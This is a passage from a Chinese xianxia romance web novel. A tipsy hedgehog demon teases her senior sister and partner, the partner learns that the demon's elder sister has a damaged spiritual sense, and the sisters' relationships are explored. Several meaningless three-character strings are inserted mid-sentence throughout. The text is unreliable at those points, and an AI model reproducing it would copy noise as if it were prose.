裴依宁歉意地对原以诗一点头。 “别动我,师姐,难受的。”云榆剧烈晃动,胃里一阵翻江倒海。 之前喝酒也没这么强烈的反应。 云榆站稳了,澄澈的眼神中明晃晃的天真懵懂,她稍稍往前。 原以诗本能地后退半步,片刻后,那退去的半步克制地收回:“云师妹?” 云榆降低了声调,很小声地问:“原师姐,你和风师姐的亲密关系,没有更上一步吗?” 她的声音不大,但在场的耳力都不错,自是清清楚楚地将云榆这句话听进。 裴依宁难得出现一丝混乱,抬手去拉云榆,可现在的云榆跟个泥鳅,滑得很。 “亲密关系?”原以诗重复。 她理解的亲密关系和云榆说的不太一样。在云榆的认知中,是只和一人的亲密关系,就像是结为道侣前的她和师姐。 原以诗:“什么更上一层。” 云榆竖起一根手指:“就是……就是我和师姐……” “云榆,”裴依宁一把按住云榆的肩膀,对原以诗道,“她喝酒了,说的话,还请原师姐不要放在心上。” 风浅念眼神闪烁,提起过半的酒杯,押了口:“酒后的话,自是当不得真,原师姐,快回来,等会云师妹酒醒了,小心吓到她。” 原以诗坐回风浅念身边。 亲密关系,更上一层楼。 她垂目把玩这两句话,身边的风浅念一只手搭她腿上,引得她回目看过去。 线条柔和的脸部轮廓线勾勒出女人同样柔软的五官,荡漾着些许醉意的眼眸扫过,风浅念提起酒杯,与原以诗面前的酒杯轻碰了下。 原以诗捏起酒杯,并不喝,她求解地问风浅念:“云师妹说的亲密关系是什么,你知道么?” 风浅念何其聪明,原以诗话语间试探的过于明显,她弯下唇,酒杯搭在唇边,手背虚搭,遮挡住小半张脸。 总是挂在唇边的笑意此刻仍在,那双浅醉的眸子中蓄着单薄的雾气,弯弯地露出软面,她反问:“原师姐,我应该知道吗?” 原以诗红唇微启:“可以吗?” 风浅念放下酒杯,长指抵在唇边,眉宇间的酒意润化开。 裴依宁将喝的半醉的云榆扶进偏殿:“师姐帮你把酒水炼化,好不好?” 云榆抗拒:“不要。” 裴依宁哄她:“会难受的。” 她掌心贴着云榆,灵力注入小妖体内,被发觉的小妖推开,小妖气势汹汹地:“不准。” 裴依宁拿她没办法,哄着,可都无果,云榆铁了心地不让她炼化,更不让她碰。 殿外还有两人在等待,裴依宁只好弯身,亲昵地提醒小妖:“在这等师姐一小会,不要乱动。”先住赋 小妖“嗯嗯嗯”地直点头。 出了偏殿,风浅念和原以诗正在收拾残局。 瞧她出来,风浅念歪头:“体内酒水炼化了吗?”显主腐 裴依宁摇摇头:“她不让我碰,半睡半醒着,等会她睡着了,我再炼化。” 否则明日得要闹头疼了。 风浅念:“今晚的酒水烈,云师妹平日不喝酒,陡一喝,受不住也是理所当然的。” 目送风浅念和原以诗回了另一间偏殿,裴依宁转身往另一方向去。陷逐付 原本躺着的小妖不知怎么坐了起来,脊背松垮,狠狠下弯着,小鸡啄米似的小脑袋一点一点的,有几分可爱。 裴依宁快步走过去,刚抚上云榆的背,就被醉酒的人拍了下手背,某只小妖猛地抬头,凶巴巴地绷着脸,以为还是本体,龇牙咧嘴地:“不要,就要醉着。” 裴依宁顺着她的脾气:“不难受吗?” “难受?”云榆咀嚼这两个字,点点头,又点点自己的唇,“师姐亲亲就不难受了。” 裴依宁失笑:“可是你身上有好重的酒气,不太想亲,怎么办?” 云榆眉头拧成个小山:“师姐嫌弃我。” 裴依宁:“不嫌弃你,嫌弃你身上的酒气。” 话语间,偏殿的玉门被敲醒,以为是风浅念和原以诗,裴依宁扶好云榆,低声道:“等师姐会。” “又要等。烦。”云榆嘀嘀咕咕。 裴依宁笑了笑,捏捏她的脸颊,转身去开门。 玉门大开,两道颀长的身形映入眼帘。 一白一红,风格鲜明。 裴依宁侧开身:“云姐姐,问宫主。” 云樾目光定在裴依宁脸上:“星星呢?睡觉了吗?” 云榆每次来找她时,都积极无比,如今她过来,怎么不见云榆身影。 引着两人往里走,裴依宁:“她今天喝了点酒,有些醉了。” 云樾:“醉了?她还会喝酒?” 走过十数步,就见一只小妖双膝并拢抱着,额头抵在膝间,叽叽咕咕地说着些什么,含含糊糊,听不真切。 云樾驻足。 云榆展现出另一面的鲜活不同。 在她不曾发觉的地方,那个黏人的小刺猬已经长大,变得独立。 她正欲向前,趴着的小人察觉到有人来,双臂张开,眼睛还没睁开,嘟囔不停:“师姐,要抱。” 云樾止步。 裴依宁几步过去,握住小妖伸出的手:“安静点,别说话。” 小妖借着抓握在一起的手,膝盖滑下,一头扑进师姐怀中,腻腻歪歪地:“师姐,我头疼,揉揉,我还要……” 云榆的姐姐在,加之小妖脸皮本就薄,生怕她等会说出不好的话,清醒后没脸见人,裴依宁按住云榆的肩膀,不顾面前小妖的反抗,将灵力注入她的体内。 酒水瞬间被炼化,意识混沌的小妖思绪渐渐清晰,她胡乱地蹭了师姐两下,顶着稍有些不清的头,表情混杂着委屈:“师姐,头有点疼。” 妹妹还是黏人,从没有变过。 云樾精致的五官舒展,她捂唇轻咳两声。 自家妹妹的性子她了解,再见多了,到时连她这个姐姐都不愿见了。 果不其然,云榆猛地转过头,这才注意到殿内多的两人。 瞳孔猛缩,嘴角不住颤抖:“姐姐,问姐姐,你们怎么来了?” 云樾面不改色:“刚来。” 她方才没做什么不好的事情吧。 她眼神扫向裴依宁,后者对她摇摇头。 那就好,她云小刺猬的清白还在。 她慌不迭地转身投入姐姐的环抱,逃避地掀开这件事:“姐姐,来之前都不提前说一声,坏姐姐。” 云樾宠溺地对上她:“姐姐错了,下次一定提前告诉你。” “这还差不多。”某只小妖在姐姐面前的傲娇气上来,“姐姐来做什么?” 云樾道:“想你了,过来看看。我听问……你问姐姐说,明日有人要走。这里疗愈之力充沛,星星等身体完全恢复好了再走,好不好?” 云樾现在的状态很正常,面色恢复了些许气色,身形没有透明的趋势,想来是调养得差不多了。 虽没有完全恢复,但至少比初见的虚弱好很多。 问亦云依旧局外人般地站在另一侧。在裴依宁看向她时,只是淡淡回了个眼神。 裴依宁传音:【问宫主,云樾姐姐的身体如今怎样了?】 问亦云:【恢复大半。】 这么多年的温养早已将云樾根骨养好,只是上次冒然出问玉宫,造成了损伤,用了十数日的时间,才调养到离宫前的程度。 “我跟师姐商量了,”云榆道,“晚点再走,姐姐不要担心我。” 云樾摸摸她的头。 回去路上,问亦云第一次在云樾身边安安静静地跟着,一言不发与平日宛如两人。 云樾乐得如此。 深一脚浅一脚地踩在雪地中,厚实的雪花浸湿了鞋面,透着几分凉。 腰身被人贴住,云樾本能地侧开,但身后人已经揽住她,将她拦腰抱起,云樾被动地圈住问亦云的脖颈。 一路无言。 抱着她走回去的那段路,问亦云只深深看了她一眼。 直到进入殿内将她放到椅子上,红衣女人蹲下身,褪去白衣女人的鞋袜,指腹在云樾脚踝处打圈揉捏。 云樾避开她,往屏风内而去。 问亦云起身,这几日,她撞见过风浅念和原以诗在问玉宫内赏花观景,看过云榆和裴依宁的互动,以及今晚,云榆毫无保留的依赖裴依宁。 都是她所触及不了的亲密。 一路的隐忍泄出,擦身而过之际,她问:“云樾,你就不能分出半点耐心给我吗?” 作者有话说: 第93章 第九十三章[VIP] 橙黄色的暖灯将白玉间照得通透, 呈现出近乎透明的模糊层,虚虚地覆盖在下方之物上。 刚清醒没多久的云榆捂住略有些涨疼的大脑,长指用力顶住几下太阳穴,烦闷地咧了下嘴, 往裴依宁怀中钻去。 只剩下她们二人, 她可以肆无忌惮的和裴依宁撒娇,她苦巴着脸, 扯住脸皮往两边拉, 做出鬼脸:“师姐,我头疼, 你想办法。”记起师姐是丹修的事实,她耍赖地, “我不吃丹药,你想别的办法。” 刚从储物空间取出一枚醒酒丹,闻声裴依宁只好将那丹药捏在指尖,掌心贴上面前人的头,轻缓按压:“这样呢, 还疼不疼?” 停顿了数秒, 云榆道:“没那么疼了, 但还是疼。” 听从她的言外之意和故意为难, 裴依宁拥住某只傲娇的小妖, 吻了吻她的额头, 温声问:“这样呢?” 又是几秒的停顿,云榆眼珠子转动。 在想坏点子。裴依宁想。 果然, 下一刻, 云榆一本正经道:“不够,还是疼。” 她曲指搭在唇边, 红唇微启,斜侧过头,暗示意味明显,可还要故作矜持:“师姐,要不要试试这里?” 头疼跟这里有什么关系。裴依宁不动声色地往后退了些,但云榆眼疾手快地跨坐在她的腿上,不肯让她再退。 牢牢将师姐束缚在双臂间,云榆眉间拢起小山包,捏着师姐耳边垂落的碎发绕了几圈,她贴近几分:“师姐?” 拿她没办法,裴依宁碰了碰她的唇,一瞬而逝,快得如同一阵清风拂过,云榆回味地抿住唇,慵懒地缩进裴依宁怀中,前所未有的黏人。 喝过酒的小妖这么黏人,裴依宁有些后悔方才强制将云榆体内的酒水炼化了。 捏着那枚醒酒丹递到云榆唇边,这次小妖没再整什么幺蛾子,老老实实地含入口中,在口腔中转动一圈后咽下。 云榆半眯起眼睛,半困不困地:“师姐,为什么我感觉姐姐和问姐姐之间的亲密关系,不及我们这样深。” 她对感情上的是天真懵懂,但不代表她什么都不知道。否则也不会在酒后问原以诗那种问题。 起初只顾着见姐心切,没能顾忌太多,但今晚姐姐主动来找她时,姐姐和问亦云之间的关系给她一种很微妙的,似乎并不如表面见到的那般和谐。 单独与问亦云相见时,问亦云还会逗她几句,可每每与姐姐一同来时,她总是独自一人或靠或站地出现在几人视线之外的地界。 不注意看,根本无法注意到她。 姐姐每次喊问亦云时有意无意的停顿,问亦云微表情的变化,都给她一种奇怪的感觉。 每对道侣间的相处模式不一样,她不能依照自己的猜测去揣摩姐姐和问亦云的关系:“师姐觉得呢,姐姐是不是和问姐姐闹矛盾了?” 裴依宁沉思片刻:“星星要去问问吗?” 云榆摇头:“不问,至少不能问姐姐。” 即使是和问亦云闹矛盾,姐姐也不会同她说,就像是她不想让姐姐担心会撒谎般,姐姐为了不让她担心也不会告知实情。 进入问玉宫后的初见,她几次三番的打探姐姐为何一直没来找她,都被姐姐四两拨千斤地推开了。 直到现在,这个问题依旧没有答案。 后续的见面中,云榆理智的没有追问。 她扬头吻吻师姐的下巴,轻声道:“好晚了,早点休息吧,师姐,明日再说这个。” 裴依宁:“好。” 一夜无梦。 因着原以诗和风浅念今日要走,云榆和裴依宁起得很早。 风浅念捻着一方长笛,轻快地在孔洞中按动,细长的手指被碧色长笛衬得越发白皙,流水般的长发披散在身后,发尾不时有水珠滚落。 含着清浅的笑意:“云师妹,可还有别的问题问我和原师姐?” 昨晚发生的事云榆尚有记忆,被风浅念一点,刻意忽视的那部分如潮水般用来,汹涌地挤入大脑中。 都说人喝醉了会忘记酒后戏言,为什么她还记得,就因为她不是人吗? 云榆偷偷瞄向原以诗,后者察觉到她的视线,遥遥地投过视线。 云榆:“……” 清醒的状态下,借她一百个胆子,她都不敢当面问原师姐这个问题。 她欲哭无泪地躲在裴依宁身后:“没有问题了,师姐回去路上注意安全。” 风浅念:“好。” 原以诗捋住风浅念的长发,灵力闪动,湿漉漉的长发顷刻间变得干燥,她拾起一条长发绳,耐心细致地给风浅念束发。 云榆不知哪里生出来的勇气,瞧见这幕,竟然又想问同一个问题了。 拉出躲在她身后的小妖,裴依宁对风浅念道:“回到宗门后,给我传一道音。” 风浅念莞尔:“好啊,总不至于丢了的。对了,你们在这住多久,回宗的日期确定了吗?” 裴依宁和云榆对视一眼:“短则半个月,长则数月。我晚些时候再传音同宗主与堂主说。” 风浅念:“嗯,我和原师姐先去替你打探打探她们的态度。” 毕竟是灵丹堂的大师姐,长住在别的势力,传出去影响不好,更何况还是问玉宫这种相对中立的势力。 加之前些时候苍焰宗和明越宗的比试以及这次荒凉古地的阵法事件,问玉宫都有出手,牵扯到三方势力,难免要谨慎。现主副 原以诗忽而开口:“苍焰宗已经成为历史了。” “什么意思?”云榆凑出个脑袋,简单直白地理解,“苍焰宗没了?” 原以诗“嗯”了声,声线起伏不大:“苍焰宗主动对明越宗门人出手,又与外人布阵设计我们,宗主自是忍受不了。问玉宫这边好像也有所牵连,两方便共同出手了。” 她们出来时,除却苍焰宗的人外,还有一些身着黑袍的人,但因为当时灵力损耗严重,加之有白清凡等人在,后事无需她们费神,便没有顾及这些。 若说能牵扯上问玉宫的,只有那些黑袍人了。 云榆好奇:“苍焰宗据说是大宗,怎么这么容易就……”她做了个抹脖子的动作,警惕道,“就没了。” 裴依宁:“苍焰宗底蕴算不得深厚,上次与我宗比试时,部分资质不错的已经被废了。这次又有问玉宫的人一同,想来不是什么难事。” 上古阵法多被列为禁法,明越宗明令禁止修习,藏书阁内有关书籍都被封存在最顶层的禁室中,非有宗主手令不得入内。 这也是各大势力的共识。 苍焰宗违反在先,旁的势力自是挑不出明越宗与问玉宫的错处。 裴依宁问:“与苍焰宗勾结的是什么人?” 原以诗道:“这点尚不清楚,那些人被问玉宫带走了,她们并没有给出明确的答复。” 正说着,冉寻的身形晃入眼帘,谈话的几人纷纷打住。 在此处,有心屏蔽的情况下,她们很难感知到问玉宫人的靠近。 冉寻停于她们数米外,神情总是一成不变,公事公办地遵循下达的命令,她对着几人拱手一拜:“各位,宫主让我送风小友与原小友出宫,敢问二位是现在离开还是?” 早已做好离开的准备,原以诗上前半步:“现在,劳烦带路。” 这些时日,她和风浅念将问玉宫转了遍,各条道路都走了,怎么都无法找到宫门离去的地方。 问玉宫就像是个巨大的迷宫,每条路都能走,每条路都不是出口。 冉寻侧身:“二位请。” 两人点头致意:“依宁,云师妹,我们先走了,宗门见。” 云榆:“风师姐,原师姐,宗门见。” 裴依宁和云榆本想送两人到宫门口,却被冉寻以暂不方便为由拦住了。 目送三人背影消失,云榆脸上的笑容淡了许多,她松松地靠在后方的玉墙上,视线犹如能穿透层层墙壁,直达最外面。 她伸了个懒腰:“神神秘秘的。” 裴依宁转身,云榆懒洋洋地收回手臂,三步并作两步地凑到裴依宁身前,直直地勾住裴依宁的衣袖:“师姐,我这些时日荒废了剑法,今日无事,你陪我练会可好。” 危机感总是存在的,即使是绿灵,在一众师姐面前还是不够看,就像是这次,若非有问亦云灵识在,为她挡去了数道攻击,说不定她现在正昏迷不醒地躺在床上。 实力是立命之本,她要努力修习。今后才有机会保护师姐和姐姐。 她内视体内灵海,内里浅浅地蓄上灵力。灵珠运转的速度快了很多,一柄小剑悬浮在灵珠前,同样的暗淡无光。 不能召唤灵剑,她想问问这里的人,能不能帮她弄到一柄铁剑,再不济,弄一根长棍也行。 “可以,”裴依宁道,“但你目前以吸纳灵力为主,剑法后几日再捡来得及。你迈入绿灵时还没巩固好境界,小心到时跌境了。” 第一次听这种说法的云榆惊讶住:“还会跌境?” 裴依宁反问:“为什么不会,过往不乏有从紫灵跌落到红灵的例子。”瞧见某只小妖惊恐的神色,女人放软了声音:“星星不用担心,基础打牢,不去修什么歪门邪道,自是不会跌境。” 云榆哭嚎:“师姐,你总是吓我。” 裴依宁无辜耸肩:“不准诬陷师姐,师姐只是实话实说。” 云榆吸吸鼻子,瘪嘴,暂且放下了练剑的念头,从空间储物中取出一圆垫,盘腿打坐,凝神于体内灵珠。 灵珠虚影浮现在云榆身前。 很快,虚影逐渐凝结成实体,高速运转。 空气中蕴含的水属性灵力形成倒斗注入云榆的头顶。 裴依宁搬了把椅子坐在殿前,双腿交叠,一瞬不瞬地望着不远处认真打坐的人,凭空取出一本药典古籍,翻阅。 不远处,一道颀长的人形立于一棵茂盛的古树下,叶片遮挡住她大片身形。 问亦云一瞬不瞬地望着打坐的小妖和看书的女人,许久过后,她闭上眼,想起云樾对她的态度。 为何姐妹俩差别如此大,云樾何时能向云榆对裴依宁那般对她。 她敛眸,正欲离开,抬眼时,坐在殿前的那道身形竟然消失地无影无踪,只剩下一把空荡荡地椅子在原地。 打坐的小妖尤在。 问玉宫挺翘的睫毛颤动,面不改色地回身,不出意外地看见出现在她身后半米处,本该在殿前翻阅古籍的人。 裴依宁礼貌拱手:“问宫主。” 问亦云来时并没有刻意隐匿气息,是以裴依宁第一时间察觉到她的到来,原以为只是路过,并未放在心上。但这道气息停留地过久,裴依宁不得不将注意力从书中抽出。 她直起身:“宫主可是有事来此?” 问亦云本要说不是,脑海中再度浮现出云樾那张不喜不悲的脸,她眼底滑过一丝痛苦,指骨紧绷,额头上的那根青筋若隐若现。 她深吸一口气,将憋着的苦闷咽下,恢复到那个在私人面前随性散漫的模样:“路过。” 她错身离去。 裴依宁微微侧头。 “裴依宁,”问亦云脚步顿住,喊了声女人的名字,迟疑数秒,那口气吐出,“无事。” 问亦云离去。 裴依宁这才转过身,探索的视线追求着红衣女人离去的背影。那一刻展露出的迟疑过于明显,裴依宁扭头看了眼问亦云先行站过的地界。 在这个位置,可以清楚地看见那把椅子和殿前打坐的云榆。 她应该和云樾单独见一面。裴依宁想。 择日不如撞日。 裴依宁在打坐的小妖周身护上一层灵力,追寻着每日前往问玉宫中心殿宇的方向而去。 中心殿宇内的长廊空地处,云樾捧着一杯热茶,静默地欣赏玉墙上勾画的山水画。角落处的玉雕还没雕刻完全,她曲指抚摸数次。 弯身点了两下墙壁下方的玉石地板,一小块凹槽露出,数只雕刻用的小工具出现。她挑挑拣拣地选了一支。 身后脚步声渐缓,云樾捏着刚挑选好的石刀,露出一丝笑意:“依宁?很好听的名字。我可以这么叫你吗?” 惊讶于她敏锐的洞察力,裴依宁恭敬地:“云姐姐如何唤我都可以。” 云樾转过身,杯中茶水已然见底,她拎着那只茶杯,将石刀放置在玉雕的孔洞处:“有兴趣陪我下一盘棋吗?” 原以为她会先问云榆怎么没有一起来,到口边的回答咽下:“依宁之幸。” 云樾唇边挑着一抹笑,素手一抬,一方玉桌自地而起,对方两处各有一只玉凳。桌面上刻画有棋盘,靠近边缘处则是一黑一白两尊棋奁。 等云樾落座后,裴依宁才是坐下:“请。” 云樾夹起一枚黑子,细长的手指在棋盘上越过,落在其中一点。 裴依宁紧随其后。 一来一回间下了十数手,望着棋盘上的黑白两子,云樾拾起一枚黑子:“星星那边,你应该离开不了多久。有什么想问的,但问无妨。” 被点破心思,裴依宁不急不忙地落下棋子:“瞒不过云姐姐,我的确是趁星星打坐来此。云姐姐可否让我探查一番身体。” 她需要对云樾的身体情况有初步了解。 云樾不假所思:“好啊,你想如何探查?” 裴依宁道:“内视灵海。” 云樾下棋的速度慢了些,似乎对棋局的判断出现偏驳,正在思考应对方法。 落子而下,她道:“可以。” 她伸出手臂,捋起袖子直至臂弯处。 肌肤如玉,白到近乎病态的手臂,内侧青紫色的筋脉显露无疑,云樾目光仍旧在棋盘上。 裴依宁使用了个净身术,而后两根手指搭在云樾的手腕处,灵力顺着毛孔进入云樾的肌肤,顺着手臂的经脉,经由血液流淌至体内,落在灵海处。 蓬勃如星海般望不到头的灵海映现在脑中,海面平静,一番正常无虞之景。 裴依宁惊异地抬眸。 与她想象中的干涸无活动的不同,云樾的灵海浩瀚充盈,灵海包裹着的那枚灵珠更是纯净无暇,没有半分这副模样应有的样子。 既然灵海正常,那为何会…… 裴依宁眼皮跳动,大胆猜测:“云姐姐的灵识出现了问题。” 身为修道之人,灵识算是修行人的根本之一,灵珠破损,则不可修行,灵识破损,则命无。 从某种程度上来说,灵识比灵珠还要重要。 可一旦灵识出现损伤,又怎么能这般泰然自得地与她下棋。 这么多年看过无数的丹法典籍,关于灵识破损还能活命的记录,寥寥无几。 这个猜测很快被打消,裴依宁继续探查。 不料,云樾淡然地承认了:“不愧是明越宗灵丹堂的大师姐,这么快便能发现我身体的问题。” 饶是淡定如裴依宁在听到云樾的肯定时,也不免露出几分惊色。 云樾继续道:“我灵识因为一场意外受损,至今未能恢复。”她点了下棋盘,“轮到你下子了,”而后她继续道,“这便是我无法去见星星的原因。” 灵识受损,一旦出现在星星面前。不对,不一定能到星星面前,恐怕她就支撑不住了。 下棋的心思全无,裴依宁攥住那枚温凉的棋子,在云樾提醒后,思绪不清地落子。 这棋怕是没法下了。云樾五指塞入棋奁中,抓起几枚棋子又放下,循环往复数次。此刻白衣白墙衬得她整个人越发白净,圣洁……虚渺。 “这些年,在问玉宫温养,灵识得以修复,但仍旧无法踏出问玉宫。”仿佛在说别人的事般,云樾放下挽起的袖子,“初见时,便是因为踏出问玉宫导致灵识不稳,出现那种状况。” 不止于此,受到灵识的影响,她的灵海瞬间干涸无色,使不了半分灵力。 裴依宁了然,怪不得云樾不能出问玉宫,怪不得问玉宫的一切都是由灵玉打造,怪不得到处都是疗愈之力。 根据问玉宫出世的记录,那时的问玉宫虽奢靡,但不至于用这么多玉石装饰。 原是为了更好的温养云樾的灵识。 “这件事,不要告诉星星,”云樾提醒道,“你能来问,是因为她对此有所猜测了,对吗?” 血脉相连的关系,心思有时彼此间是互通的。 裴依宁没有隐瞒:“是有这一方面原因。” 云樾:“一方面?还有其她方面?” 裴依宁道:“您与问宫主的关系。” “这个?”云樾意外地笑了笑,一颗颗棋子地往棋奁里收,“她待我极好。” 为了修复她的灵识,将整座问玉宫打造成最适合温养的地方,对于她的要求,皆是尽力满足,顺着她的性子。 无论从哪一方面来说,问亦云都是无可挑剔的道侣,唯独…… 她半是嘲讽地勾勾唇,视线落在一根玉柱后:“一意孤行,改变不了什么。” 前段话裴依宁听得真切,可后面的,她参悟不透。 云樾没有展开的念头,玉柱外,两道人形一前一后地出现在长廊处。 自打坐状态出来的云榆睁眼没能看见师姐,在住的那间殿宇也没能找到,又跑到殿外找了一通,准备传音给师姐时,撞上了问亦云。 本着师姐对她少用灵力的要求,云榆求助了问亦云。 独自相处时的问亦云对她少了生疏感,安抚她不用着急,带着她来到了这里。 某只小妖的嘴能挂上小油壶了,云榆跑到下棋的两人身边,不满地先是对师姐道:“丢下我的坏师姐,”接着对云樾道,“不来找我,反倒是找师姐玩的坏姐姐。” 两个被冠上“坏”字名头的人相继起身。 云樾道:“你在打坐,怎么找你玩。喊你师姐陪姐姐下下棋都不行吗,星星?” 三言两语将裴依宁找她的事调换成了她去找裴依宁。 云榆:“……行吧。” 云樾问:“星星会下棋吗?” 云榆:“……星星会吃。” 云樾笑:“能吃也好,总该长些身子的,你的本体太小了,再不长大些,家妖们要嘲笑你了。” 云榆被说得不好意思,推推她:“才不会。” 拉扯间,她看见问亦云耷拉着脑袋,时不时朝她和师姐这看一眼,不知道在想些什么。 她和问亦云来时,依稀听见两人在说什么,模模糊糊地听得不多,但问宫主修为高深,定然听见得比她多。 莫不是师姐和姐姐说了什么。 该不会是告她云小刺猬的状吧。 不对,师姐不是会告状的人。 难不成是姐姐…… 云榆狐疑地:“姐姐,我来时听见你说改变不了什么,是在说我的坏话吗?你该不会偷偷向师姐告我的状吧。” 她云小刺猬在师姐面前高大的形象可不能被破坏了。 作者有话说: 这段时间太忙了 跪倒 本章掉落小红包 第94章 第九十四章[VIP] 阳光下, 玉墙上的山水画和玉雕仿佛活了过来,鲜活而有生命,雕刻的瀑布流水在水墨浓重中湍急流淌,折射出的白光形成浪花, 让人不自觉投去视线。 云樾摊开手, 掌心捏着的几枚棋子晶莹,底部泛起淡淡通透的墨绿色:“你有什么状值得我告的?” “没有。”云榆细细想过, 只是姐姐这句话听起来怪怪的, 好像她做不出离经叛道的事情般。 她对这个回答很不满意,妖族大多有副反骨, 她云小刺猬也有反骨:“没有吗?我小时候这么乖吗?” 分明一开始怀疑告状的是她,得知没有状告后不开心的也是她。星星现在变得这么难哄吗? 裴依宁被她的逻辑逗笑, 细长的手指曲起点在下唇,有些好奇云樾接下来会怎么安抚云榆。 然,云樾侧头望向不远处的玉墙,很认真地说:“除却喜欢到处乱跑,找借口不修炼外, 蛮听话的。” 云榆:“姐!” 她在师姐心目中的形象又一次崩塌。 云樾弯唇。 云榆寻求师姐的帮助, 三步并作两步地溜到师姐身边, 碍于姐姐和问亦云在, 没有做出太亲密的关系举动, 虚虚地扯住裴依宁的衣袖, 一条手臂举起做保证:“师姐,我是一只热爱修行, 从不乱跑, 乖得不得了的妖。” 她挽回形象:“姐姐总喜欢编排我。” 云樾顶起半边眉梢。 欢乐气息混做一团,问亦云游离在这份欢乐之外, 她咀嚼来时听见的云樾说的那几句话,明艳端庄的五官凝着几分茫然与不解。 她待我极好。 云樾说自己待她极好,既然知道自己对她的好,为什么对自己还是如此淡漠忽视。 一意孤行指的是什么,改变不了什么又指什么,云樾从来没有与她敞开心扉说过这些。 她和云樾的相处总是针尖对麦芒地想冲,说不了几句正常的话,多数时候,是她想尽办法逼着云樾与她交流,逼着云樾与她亲密。 回首云樾刚来问玉宫的时候,她们的相处模式并非如此,那时的云樾愿意对她展露笑颜,愿意温声细语地同她说话。 问亦云习惯性地靠在玉石柱上,探索的目光不间断的寻在几人身上。 许是察觉到她的目光,云樾淡淡地看了她一眼。四目相对,不待问亦云有所反应,云樾的视线如撕裂阴暗处的暖光,仅照在她身上一瞬,便毫无留情地收回所有。 问亦云心颤了颤,狼狈的垂下眸子。 “师姐。”云榆甜腻的声音穿过空气传入她的耳中,问亦云掀起眼帘,偷窥不远处的温馨。 云榆两颊气鼓鼓地憋着一口气,腰身轻盈地晃动,在裴依宁面前如孩童般撒娇:“小时候的事,跟长大的我可没有关系。” 裴依宁笑:“嗯,没有关系,星星今日打坐很认真,灵力恢复地如何了?” 云榆道:“十分之一啦,现在恢复的速度越来越快了,”她骄傲地挺起胸膛,随意而又无比在意地,“姐姐,等我好了,就让你看看我在宗门内的学习成果,颠覆你对我自幼的印象。” 云樾:“嗯嗯嗯。” 云榆:“敷衍。” 裴依宁淡笑着看某只小妖在她和云樾面前来回撒娇,越来熟稔地连接她和云樾的关系。 她和云樾对视一眼,皆从对方眼中瞧见无可奈何与溺爱。 在师姐和姐姐面前晃够了,云榆偏头望向又是一副独立于外的问亦云,停顿片刻,她扬起笑脸:“问姐姐。” 问亦云神经微动,抬目看去,半晌后,她走过去,停在云樾身边,留出半个身位:“怎么了?” 云樾唇边的笑容敛去些许,她分给问亦云一个警告的眼神,示意对方不要在云榆面前乱来。 接收到她的眼神,问亦云指背轻轻碰了下云樾的手背,没有拉住。 很正经。 云榆眉眼弯弯,接着开玩笑的口气:“问姐姐不会欺负姐姐吧。” 说话的同时,她用余光打量姐姐的表情,妄图从中窥探出一丝端倪,但问亦云和姐姐的表情都很正常。 甚至两人还互换了眼神,要牵不牵地碰了下手,无言的亲密蔓延开。 云榆有刹那觉得先前感觉错了。 问亦云:“若是你姐姐欺负我呢?” 云榆反驳:“姐姐这么温柔,怎么会欺负人。” 问亦云点头称“是”。 气氛融洽许多,三人的话题问亦云偶尔会插上一两句,云樾不时会抛下问题过去,问亦云很快便接住,默契无比。 云榆今日主要目的就是打探情况,一圈下来,问亦云和姐姐没有表现出不对劲。 她悬着的心放下几分。 谈话到最后,云榆寻了个借口溜出去了会。 点缀的亲密关系出现龟裂,场面顷刻间安静下。没有云榆作为中间人沟通,云樾和问亦云之间的裂口好似又出现了。 问亦云脱口的话题云樾没再接。 裴依宁顺势将那句话接住,算是留有体面的中断话题。 “噔噔噔。” 声音自下传来,演戏的两人进入状态。 裴依宁抿抿唇,忽而觉得有些头疼。无论是原以诗风浅念两人还是现今的云樾问亦云两人,都给她感情很难的错觉。 如果她不曾和云榆结为道侣的话,许是要被她们这两对的状态吓退。 “本星星驾到,尔等还不拜见。”一团小刺猬高举双爪,等待膜拜的姿势,圆溜溜的眼睛眯成一条缝,小脑袋倾斜地扬起,要多得意就有多得意。 裴依宁:“……” 她的感情还是太简单了,还好是遇见的星星。 裴依宁莫名庆幸。 鸦雀无声的寂静中,没听见声响的小刺猬受不了了,在下肢垫起一块玉石,再度高举双臂,倨傲地:“星星驾到。”弦珠傅 “应该怎么做?”云樾低低地问裴依宁。 裴依宁做出示范:“恭迎星星大人。” 云樾:“……” 问亦云别回头,只当没看见,没听见。 小刺猬不满意地:“大胆云樾,大胆问……” 好吧,她不太敢这么说问亦云,话音堵在喉咙中,哽了哽:“见到本星星,为何不拜,当真是不把我星星大人放在眼里。来人,把她们给我抓起来。” 裴依宁总算明白为什么云榆要借口出去变成本体了,这些话,小刺猬的人形万万说不出口,只在本体时,才能顶着这副小小的身体,说这些不是很成熟的话。 云樾眼底闪过笑意,她很轻地道:“你把星星照顾得很好,”随即声音大了些,“恭迎星星大人。” 裴依宁想说,是星星本身就是如此热忱,含着无限的生机和活力。她能做的,不过是在星星释放这份无人可知的幼稚时,稳稳地接住。 问亦云闭目:“恭迎星星大人。” 这次小刺猬很满意,她放下一条爪臂揣在小肚子上,另一条爪臂举起:“把本星星抬起来。” 站在玉石上仍旧太矮,这让星星大人很没有面子。 被裴依宁提到臂弯处,某只小刺猬还想爬得更高,小爪子划拉几下,灵活地窜上裴依宁的肩膀。 她往上看看裴依宁的发顶。 “不可以,”看出她的想法,裴依宁毫不客气地拒绝,“不准爬到我头上。” 小刺猬:“哦。”她一爪子拍在裴依宁的脖颈,如一阵风刮过,不疼不痒,“竟然敢命令本星星大人。” 裴依宁:“……”她当着小刺猬的面,问云樾,“云姐姐,妖族的本体和人形差别这么大吗?” 云樾道:“妖族本体展现的更多是本性,会放大人形时不敢做的事,性格相较于人形,的确差别很大,几乎是两副面孔。” 小刺猬:“为什么要问这个,笨蛋裴依宁。” 可恶,她堂堂云小刺猬的老底都要被揭没了。 是可忍孰不可忍,本着找回气场的念头,小刺猬先是给了裴依宁一爪子,而后蹦跳到云樾身上,又是一爪子。 小刺猬恼羞成怒:“大胆,大胆。” 云樾扒拉下她,对着小刺猬的脑门就是个弹指,惹得小刺猬登时泪眼汪汪地爬回到师姐怀中,汹涌的气势被这个弹指弹飞。 双爪捂住额头,默默控诉自家姐姐无数遍,小刺猬鼻头耸动,委委屈屈,可可怜怜地:“还是小跟班好,我只和小跟班玩。” 她说:“我和姐姐是假玩,和你是真玩。” 裴依宁憋着笑意,忍住想给小刺猬再来个弹指的心思,感恩戴德地:“永远追随星星大人。” 云樾笑意直达眼底。 余光瞥见对面的坏姐姐,小刺猬哼哼唧唧两声,趴回到裴依宁肩头,对着空气左勾拳,右勾拳。 她惯常打空气,打起来得心应手,丝毫不知道她这个样子多没有威胁力。 